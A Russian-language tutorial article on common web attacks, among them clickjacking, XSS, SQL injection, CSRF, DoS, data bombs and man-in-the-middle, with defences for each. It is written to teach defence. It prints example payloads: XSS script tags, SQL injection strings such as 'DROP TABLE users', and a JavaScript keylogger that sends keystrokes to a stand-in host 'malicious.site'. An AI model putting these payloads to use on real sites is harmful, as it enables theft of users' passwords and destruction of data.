Монитор, на экране замочная скважина, из которой выглядывает нос. Рядом с монитором стоит кружка
Иллюстрация: kirakusto

Безопасность веб-приложений и распространённые атаки

Время чтения: 15 мин

Кратко

Секция статьи "Кратко"

Веб-приложения, как и любые другие, можно «взломать». Если в приложении есть место, куда можно ввести текст, загрузить изображение, передать какую-то информацию, злоумышленники могут использовать это место для атаки.

Уязвимостей у веб-приложений много. В этой статье мы детально рассмотрим лишь самые распространённые.

Не используйте упомянутые здесь атаки для непосредственно атак. Используйте знания о них только для того, чтобы уметь от них защищаться.

Под атакой мы будем подразумевать любое действие, приносящее вред пользователям: утечка их данных, неправильная работа сервиса, невозможность воспользоваться сервисом — всё это последствия различных атак.

Действия, непосредственно или косвенно приводящие к атаке, мы будем называть вредоносными. Людей, которые атаки проводят — злоумышленниками.

Click Jacking

Секция статьи "Click Jacking"

Первая атака, которую мы рассмотрим — это click jacking.

Представьте, что вы разрабатываете соцсеть, скажем, Switter. Для регистрации вы просите пользователей указывать номер телефона и имя — персональные данные.

Если вашей соцсетью пользуется 10 тысяч человек, значит в ваших базах хранится 10 тысяч имён с телефонными номерами.

Допустим, злоумышленники хотят получить доступы к этим номерам. Они могут сделать следующее:

  • Создать вредоносную страницу с каким-то интерактивным элементом, например, мемасом с брендированной Switter кнопкой «Нравится» под ним;
  • Положить прозрачный iframe с загруженным в него Switter поверх вредоносной страницы;
  • Сделать так, чтобы пользователю захотелось нажать на «Нравится»;
  • Сделать так, чтобы при нажатии на «Нравится» пользователь на самом деле нажал бы на какую-то кнопку в iframe, который лежит поверх.
  • В зависимости от реализации дальше пользователя могут попросить либо авторизовать какое-то действие в соцсети, либо аутентифицироваться в ней.
  • По итогу пользователь может случайно отправить свои данные, даже не заметив этого.
схема атаки click jacking

Дело может не ограничиваться соцсетью — в прозрачном iframe может быть и банковская система, а злоумышленники могут таким образом отправлять деньги пользователей на свои счета.

Как защититься

Секция статьи "Как защититься"

Используйте HTTP-заголовок X-Frame-Options.

Этот серверный заголовок может разрешать или запрещать отображение страницы внутри фрейма. У него есть три значения:

  • DENY — никогда не показывать страницу внутри фрейма.
  • SAMEORIGIN — разрешить показ страницы внутри фрейма, но только если родительский документ имеет тот же источник.
  • ALLOW-FROM domain — разрешить показ страницы внутри фрейма, только если родительский документ находится на указанном домене.

Если в заголовках Switter мы укажем X-Frame-Options: SAMEORIGIN, то соцсеть будет загружаться в iframe только внутри самой соцсети. Все остальные домены не смогут отобразить её внутри iframe.

Так, кстати, делает настоящий Twitter.

Интерактивный пример

Секция статьи "Интерактивный пример"

На сайте application.security собраны интерактивные примеры подобных уязвимостей. Каждый из примеров расписан по шагам, это помогает лучше понять, в какой момент и что пошло не так. Посмотрите на пример clickjacking в 18 шагов :–)

Cross Site Scripting, XSS

Секция статьи "Cross Site Scripting, XSS"

XSS — это внедрение вредоносного кода на страницы атакуемого сервиса.

Продолжим пример с нашей слабозащищённой соцсетью Switter. Допустим, Switter предлагает поиск по твитам (свитам?..) пользователей.

  • Злоумышленник вводит <script>alert('XSS!');</script> в поле поиска;

  • Switter перебрасывает его на страницу поиска: http://switter.com/search?q=<script>alert('XSS!');</script>, где под полем должна быть поисковая выдача.

    • Если по запросу, ничего не нашлось, то под полем выводится текст «По запросу ... ничего не нашлось».
  • В нашем случае <script>alert('XSS!');</script> встраивается на страницу, и срабатывает alert().

схема атаки Cross Site Scripting

Конечно, вместо alert() злоумышленники могут написать более изощрённый скрипт, который будет, например, рассылать спам от имени пользователя.

Атака выше — это пример отражённого XSS (reflected XSS). Отражённого, потому что его действие сразу же отражается на поведении страницы. Кроме него есть хранимый (stored) XSS, о нём поговорим чуть дальше.

Как защититься

Секция статьи "Как защититься"

Каким бы маленьким и незначительным ни казалось поле ввода, всё, что пользователь пишет, следует экранировать.

Экранирование (escaping) — это замена специальных символов (например, которые браузер может принять за теги) другими, безопасными.

При экранировании запись <script>alert('XSS!');</script> превратится в &lt;script&gt;alert('XSS!');&lt/script&gt;. Такую запись браузер не распознает как тег или скрипт.

Для экранирования пользовательского ввода в JS следует использовать:

  • encodeURI — чтобы кодировать URI-адрес
  • encodeURIComponent — кодировать часть URI-адреса, например, searchQuery,
  • специальные библиотеки для замены <, >, ', " и других специальных символов.

Также на сервере следует проверять и при необходимости экранировать все данные, приходящие от клиента.

Интерактивный пример

Секция статьи "Интерактивный пример"

Взгляните на пример DOM XSS и пример отражённого XSS на application.security.

SQL-Injection

Секция статьи "SQL-Injection"

SQL-инъекции (injection) — это один из видов XSS.

Их суть заключается в доступе к данным атакуемого сервиса или их изменению. Ну или удалению, всякое бывает.

Вернёмся снова к нашей несчастной соцсети. Когда злоумышленники обнаружили, что могут вызывать отражённые XSS на страницах, они подумали, что неплохо бы получить доступ ко всем пользовательским данным.

Допустим, они узнали, что БД у Switter — это MySQL. Тогда:

  • Злоумышленники могут найти форму на сайте, данные из которой отправляются в базу;
  • Написать SQL-код, который будет извлекать данные из какой-то таблицы;
  • Подобрать имя таблицы так, чтобы оно совпадало с именем, используемым в Switter;
  • Получить все данные из этой таблицы или удалить их.

К примеру, злоумышленники нашли форму логина. Они знают, что эта форма связана с таблицей пользователей. При логине они могут внедрить, например, такой код: UNION SELECT * FROM users.

Тогда настоящий запрос в базу дополнится командой, и если таблица с пользователями называется users, то злоумышленники получат все данные пользователей соцсети.

А можно было и так: DROP TABLE users; или даже: DROP DATABASE whole_data_base.

Как защититься

Секция статьи "Как защититься"

Экранировать SQL-инъекции на клиенте, пожалуй, бессмысленно. Однако у серверных разработчиков обязательно должны быть инструменты, которые позволят работать с пользовательским вводом безопасно.

Интерактивный пример

Секция статьи "Интерактивный пример"

Взгляните на пример SQL-инъекции на application.security.

Stored XSS

Секция статьи "Stored XSS"

Хранимый (stored) XSS — это вредоносный код, который каким-то образом сохранился в атакуемом сервисе. Он мог быть записан в базу, сохранён на диске в виде текста, изображения, мог сохраниться в оперативной памяти сервера.

Главное его отличие от отражённого XSS в «отложенности» действия. Хранимый XSS может воспроизводиться сильно после атаки, а также несколько раз.

Для примера снова вернёмся к нашей злосчастной соцсети Switter. Чтобы отправить твит (свит?.. 😃), пользователи вводят текст в форме и отправляют эту форму на сервер.

Если злоумышленники знают, что Switter не экранирует пользовательский ввод, они могут сделать следующее:

  • Написать вместо текста сообщения нечто вроде <script>alert('XSS!')</script>;
  • Отправить свит на сервер, чтобы он сохранился в базе;
  • Все пользователи, которые подписаны на аккаунт, с которого был отправлен этот твит, увидят в своих лентах это сообщение.
  • А так как сервис выводит всё без экранирования, каждый пользователь, у которого на экране появится этот свит, будет задет атакой и увидит alert()
схема атаки Stored XSS

Хранимый XSS очень опасен. Злоумышленники могут его использовать на конкретных страницах, чтобы красть данные, производить действия от имени пользователя и прочее, уже сильно позже самой атаки.

От него также сильно труднее избавиться, потому что для этого требуется очистить данные в БД или в другом хранилище.

Подобный вредоносный код, к слову, может самораспространяться, используя другие уязвимости сервиса.

Как защититься

Секция статьи "Как защититься"

Да, вы угадали:

А ещё использовать Content-Security-Policy

Секция статьи "А ещё использовать Content-Security-Policy"

Кроме всего прочего, против XSS рекомендуется использовать серверный заголовок Content-Security-Policy, который может запретить исполнение скриптов из ненадёжных источников.

Значение заголовка — это список доверенных источников, из которых пользователь может получать контент.

Например:

        
          
          Content-Security-Policy: default-src 'self' *.trusted.com// Значит, что мы разрешаем получать контент со своего домена// и всех своих поддоменов, а также от домена trusted.com// и всех его поддоменов.
          Content-Security-Policy: default-src 'self' *.trusted.com
// Значит, что мы разрешаем получать контент со своего домена
// и всех своих поддоменов, а также от домена trusted.com
// и всех его поддоменов.

        
        
          
        
      

Интерактивный пример

Секция статьи "Интерактивный пример"

Взгляните на пример stored XSS на application.security.

Key Logger

Секция статьи "Key Logger"

Одна из разновидностей хранимого XSS — это key logger. Представим, что в прошлый раз злоумышленники оставили не alert(), а программу, которая отправляет куда-то всё, что вы набираете на клавиатуре.

        
          
          document.body.addEventListener("keypress", (e) => {  // ...Злоумышленники собираются все данные о пользователе,  // которые им нужны: логин, время события, что угодно.  const data = { ...user, key: e.key }  // ...Переводят все данные в строку:  const params = new URLSearchParams()  // ...И «запрашивают картинку», но на самом деле  // отправляют запрос на свой сервер с данными о пользователе.  new Image().src = "https://malicious.site?data=" + encodeURIComponent(params)})
          document.body.addEventListener("keypress", (e) => {
  // ...Злоумышленники собираются все данные о пользователе,
  // которые им нужны: логин, время события, что угодно.
  const data = { ...user, key: e.key }

  // ...Переводят все данные в строку:
  const params = new URLSearchParams()

  // ...И «запрашивают картинку», но на самом деле
  // отправляют запрос на свой сервер с данными о пользователе.
  new Image().src = "https://malicious.site?data=" + encodeURIComponent(params)
})

        
        
          
        
      

Таким образом у пользователя могут украсть пароли и другие персональные данные.

Cross-Site Request Forgery, CSRF

Секция статьи "Cross-Site Request Forgery, CSRF"

Межсайтовая подделка запроса (Cross-Site Request Forgery, CSRF) — атака, при которой злоумышленники могут совершать действия как бы от лица пользователя.

Вернёмся к нашей совсем уж дырявой соцсети Switter. С последним обновлением Switter завёз пользователям возможность не только пересылать друг другу сообщения в личных переписках, но и деньги.

Злоумышленники знают, что после логина в Switter у пользователя остаются куки, которые потом используются для аутентификации. Они могут:

  • Заманить пользователя, который был аутентифицирован в Switter, на вредоносную страницу;
  • Используя его или её куки отправить запрос к Switter с «просьбой» переслать денег на конкретный аккаунт;
  • Так как пользователь «аутентифицирован» запрос считается «валидным», пользователь теряет деньги.
схема атаки Cross-Site Request Forgery

Проблемы здесь две:

  • Злоумышленники могли увидеть куки пользователя и таким образом выдать себя за него.
  • Сервису Switter достаточно аутентификации для перевода денег, он не требует авторизации запроса.

Авторизацию не следует путать с аутентификацией.

  • Аутентификация — подтверждение личности (Вася — это действительно Вася).
  • Авторизация — подтверждение, что у пользователя хватает прав, чтобы выполнить какое-то действие (Марина действительно хочет перевести деньги, вот подтверждение).

Как защититься

Секция статьи "Как защититься"

В первую очередь куки следует выставлять так, чтобы они были видны лишь для сервиса, который их выставил. Для этого можно использовать SameSite Cookie:

        
          
          Set-Cookie: key=value; SameSite=Strict
          Set-Cookie: key=value; SameSite=Strict

        
        
          
        
      

Также, если с куками не должны работать клиентские скрипты, их можно спрятать:

        
          
          Set-Cookie: key=value; HttpOnly
          Set-Cookie: key=value; HttpOnly

        
        
          
        
      

Это сделает куку видимой только для сервера и самого браузера (но в клиентском JS её использовать будет нельзя).

Также можно использовать CSRF-токены для подписи каждого запроса, который необходимо авторизовать. Такой токен гарантирует, что запрос был отправлен пользователем не случайно.

        
          
          <form action="/send_money/" method="POST">  <!--  Этот токен может быть ассоциирован с конкретной формой        или даже с конкретным запросом для каждого пользователя.        Злоумышленнику неизвестно, по какому принципу токен был сгенерирован,        поэтому и подделать его у него гораздо меньше шансов. -->  <input type="hidden" name="CSRF" value="token-generated-by-server">  <!-- ...Остальная форма --></form>
          <form action="/send_money/" method="POST">
  <!--  Этот токен может быть ассоциирован с конкретной формой
        или даже с конкретным запросом для каждого пользователя.
        Злоумышленнику неизвестно, по какому принципу токен был сгенерирован,
        поэтому и подделать его у него гораздо меньше шансов. -->
  <input type="hidden" name="CSRF" value="token-generated-by-server">

  <!-- ...Остальная форма -->
</form>

        
        
          
        
      

Для AJAX-запросов следует указывать CSP и CORS-политику.

Cross-Origin Resource Sharing, CORS — определяет, доступ к каким ресурсам есть у запросов с другого домена (origin).

Интерактивный пример

Секция статьи "Интерактивный пример"

Взгляните на пример CSRF на application.security.

Denial of Service, DoS

Секция статьи "Denial of Service, DoS"

Дос-атака (Denial of Service, DOS) — атака, которая старается довести атакуемый сервис до отказа.

В случае с Switter целью может быть, чтобы пользователи не могли ни открыть ленту, ни отправить новый свит.

Как правило, чтобы задосить веб-сервис, надо нагрузить его таким количеством запросов, чтобы он просто физически не мог их все обработать. Сделать это злоумышленникам проще всего с нескольких машин, отправляя пачки запросов одновременно.

Когда дос-атака распределена на несколько машин (потоков, пачек, whatever), она называется распределённой (distributed DoS, DDoS).

схема DoS атаки

Как защититься

Секция статьи "Как защититься"

Стопроцентного способа защититься нет, но можно попробовать:

  • Закрыться рейт-лимитером — частью программы, которая блокирует трафик по достижению лимита запросов. Лимит может выставляться, например, конкретному пользователю и IP-адресу. (Но это не сработает с DDoS.)
  • Нарастить ресурсы — увеличить пропускную способность, количество запросов, которые сервис может обработать.
  • Динамически заменять части сервиса, которые отказали, менять IP.
  • Перенаправить DDoS трафик на атакующего.
  • Использовать распределённые системы, чтобы лишить злоумышленников одной единственной цели.

Slowloris

Секция статьи "Slowloris"

Slowloris — это из разновидностей дос-атаки, при которой на сервер отправляется запрос, а данные пересылаются так ме-е-е-е-е-едленно, насколько это возможно

Так как данные всё ещё пересылаются, сервер не может просто оборвать соединение. Но и заняться другими запросами он тоже не может, потому что занят этим.

Когда какое-то соединение всё же обрывается, атакующий инициализирует ещё одно. С помощью этой атаки можно используя лишь одну машину довести сервис до отказа.

схема атаки Slowloris

Как защититься

Секция статьи "Как защититься"
  • Указывать тайм-ауты для запросов, после которых соединение может быть разорвано.
  • Использовать рейт-лимитеры для блокировки подозрительного трафика.

Data-bombs

Секция статьи "Data-bombs"

Бомбами чаще всего бывают архивы или изображения. Они называются бомбами, потому что при разархивировании (в случае с архивами) или декомпрессии (в случае с изображениями) резко увеличиваются в размерах.

Самая известная бомба — это самоархивированный архив 42.zip. Он весит всего 42 КБ, но если начать его распаковывать, то он займёт 4.3 ГБ места на диске, а сам процесс распаковки — 4.5 петабайта оперативной памяти.

Как защититься

Секция статьи "Как защититься"

Зависит оттого, какие данные сервис принимает и на какой технологии работает сервер. Все методы защиты здесь исключительно лежат в области серверной разработки.

Лучшее (и единственное), что могут сделать фронтенд-разработчики — указывать ограничения на загружаемые файлы по MIME-типу и размеру.

Man in the Middle

Секция статьи "Man in the Middle"

«Чувак посередине» (Man in the Middle, MiM) — атака, которая заключается в просмотре (а возможно и подмене) трафика между клиентом и сервером.

Представим, что пользователь Switter (если остался хотя бы один после всех тех дыр, что мы рассмотрели) решает зайти в свой аккаунт из кафе.

В кафе он или она использует публичную Wi-Fi сеть и заходит в свой аккаунт. К сожалению, в том же кафе сидит злоумышленник, который пропускает весь трафик в этой сети через свой компьютер. А значит, может узнать логин и пароль пользователя.

(Мы сильно упрощаем, но грубо говоря, злоумышленник убедил все компьютеры в сети, что именно его ноутбук — это роутер. В итоге все запросы ото всех пользователей этой сети проходят через его ноутбук.)

схема атаки Man in the Middle

Проблема в том, что Switter использует протокол HTTP. При использовании HTTP всё общение между клиентом и сервером не зашифровано и происходит в открытом виде.

Даже если сервер и клиент будут использовать алгоритм RSA, чтобы шифровать общение, то всё равно на самое первое сообщение от клиента:

— Привет! Давай общаться приватно.

...Серверу придётся ответить текстом:

— Да, давай. Вот мой публичный ключ, который ты можешь использовать, чтобы подписывать свои сообщения. Тогда только я их смогу прочесть.

Мы не будем вдаваться в подробности, скажем лишь, что для раскодирования используется так называемый приватный ключ, который есть лишь у того, кому предназначается сообщение. Публичным ключом сообщение зашифровывается.

Проблема в том, что если злоумышленник знает, когда и какой ключ был отправлен, он может подменить его на свой.

Как защититься

Секция статьи "Как защититься"

HTTPS это HTTP, который использует шифрование. Данные передаются поверх особых защитных транспортных протоколов TLS (а до 2015 года — SSL), что делает их недоступными для злоумышленника.

Это работает, потому что как клиент, так и сервер используют ключи сертифицированного центра, а не сгенерированные самостоятельно. Если злоумышленник решит подменить хотя бы один бит в сообщении или ключе — клиент или сервер узнают, что общение скомпрометировано.

Атака всё ещё может сработать, если пользователь, например, пренебрегает предупреждением браузера, что соединение может быть не защищено.

Ещё одна проблема — всё держится на доверии. Если организация, подписывающая сертификаты, по какой-либо причине компрометирует их, то все клиенты и серверы, использующие эти сертификаты, будут подвержены риску.